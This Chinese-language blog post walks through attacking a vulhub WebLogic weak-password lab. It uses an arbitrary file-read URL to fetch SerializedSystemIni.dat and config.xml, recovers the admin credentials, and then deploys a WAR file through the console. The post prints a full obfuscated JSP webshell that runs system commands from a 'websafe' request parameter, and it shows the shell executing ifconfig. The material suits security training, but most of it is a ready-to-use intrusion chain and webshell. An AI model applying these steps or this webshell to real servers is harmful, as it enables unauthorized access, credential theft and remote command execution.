当前位置: 首页 > news >正文

Weblogic反序列化漏洞

文章目录

  • 1、搭建环境
  • 2、漏洞特征
  • 3、漏洞利用
    • 1)获取用户名密码
    • 2)后台上传shell
  • 4、检测工具

1、搭建环境

漏洞环境基于vulhub搭建–进入weak_password的docker环境
在这里插入图片描述

sudo docker-compose up -d拉取靶场
在这里插入图片描述在这里插入图片描述

2、漏洞特征

404特征Weblogic常用端口:7001
在这里插入图片描述

3、漏洞利用

任意读取文件、后台getshell,访问/console/login/LoginForm.jsp后缀来到后台管理处
获取用户名密码
http://192.168.25.128:7001/console/login/LoginForm.jsp
在这里插入图片描述在这里插入图片描述

1)获取用户名密码

使用任意读取文件方式获取用户名密码
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml
开启bp,端口后拼接/hello/file.jsp?path=security/SerializedSystemIni.dat
即http://192.168.25.128:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
在这里插入图片描述

切换到16进制,选择以上文字存到一个SerializedSystemIni.dat
在这里插入图片描述
在这里插入图片描述

注意:SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
密钥文件:SerializedSystemIni.dat
访问http://ip:7001/hello/file.jsp?path=config/config.xml,其中的
的值,即为加密后的管理员密码
http://192.168.25.128:7001/hello/file.jsp?path=config/config.xml
在这里插入图片描述

{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=
获取用户名密码:weblogic、Oracle@123

2)后台上传shell

前提:使用刚刚任意文件读取获取到的账号密码登录成功
在这里插入图片描述

上传路径:域结构-部署-安装-上传文件-将此部署安装为应用程序。然后访问项目名称即可。
最后访问的路径是
在这里插入图片描述

将包含类似于

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!public String HMfR(String yOK){String aAh="";for (int i = 0; i < yOK.length(); i++) {aAh+=(char)(yOK.charAt(i)+6);}return aAh;}
%>
<% String yiO=request.getParameter("websafe");if(yiO!=null){ Class tJIi = Class.forName(HMfR("d[p[(f[ha(Lohncg_"));
Process Mdlz = (Process) tJIi.getMethod(HMfR("_r_]"), String.class).invoke(tJIi.getMethod(HMfR("a_nLohncg_")).invoke(null),yiO);
java.io.InputStream in = Mdlz.getInputStream();byte[] PYp = new byte[2048];out.print("<pre>");while(in.read(PYp)!=-1){ out.println(new String(PYp)); }out.print("</pre>"); }
%>

在这里插入图片描述

在这里插入图片描述

shell.jsp,将其压缩为 shell.zip,然后重命名为 shell.war
在这里插入图片描述

选中war包并点击下一步上传–上传成功
在这里插入图片描述在这里插入图片描述

war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。war包放置到web目录下之后,可以自动解压,就相当于发布了简单来说,war包是JavaWeb程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西
一直点下一步
在这里插入图片描述

浏览器访问http://192.168.25.128:7001/shell/shell.jsp?websafe=ifconfig
发现输出信息,说明可以shell可用,可以执行命令
在这里插入图片描述

4、检测工具

Java反序列化漏洞利用工具V1.7.jar
在这里插入图片描述

http://www.lryc.cn/news/165542.html

相关文章:

  • element-ui el-table 滚动到底部,进行加载下一页
  • 线性代数的学习和整理19,特征值,特征向量,以及引入的正交化矩阵概念(草稿)
  • 初步了解android如何锁键
  • 行业追踪,2023-09-13
  • $nextTick和setTimeout区别(宏任务微任务)
  • Linux内核及可加载内核模块编程
  • 软件设计师_备考笔记
  • Java学习笔记------抽象类和抽象方法
  • 毕业设计选题指南-25个优质选题
  • React使用useImperativeHandle实现父组件触发子组件事件
  • 【PowerQuery】Excel的PowerQuery的复制
  • 这个制作企业期刊的神器我怎么没早点发现
  • 核心实验18_ospf高级_ENSP
  • 【python零基础入门学习】python基础篇之系统模块调用shell命令执行(四)
  • 用python实现基本数据结构【01/4】
  • Ubuntu22.04 install Kafka
  • 实现JSONP请求
  • 如何将安防视频监控系统/视频云存储EasyCVR平台推流到公网直播间?
  • 使用内网负载机(Linux)执行Jmeter性能测试
  • Web自动化测试进阶 —— Selenium模拟鼠标操作
  • Python之函数
  • 泛型工具类型和操作符
  • idea中启动maven项目报错-java: 程序包lombok.extern.slf4j不存在问题如何解决
  • MyBatis-动态SQL
  • Swift学习内容精选(二)
  • 类欧笔记存档
  • 电能计量远程抄表系统的分析及在物业的应用
  • 计算机网络篇之端口
  • GO语言篇之发布开源软件包
  • Eclipse官网下载历史版本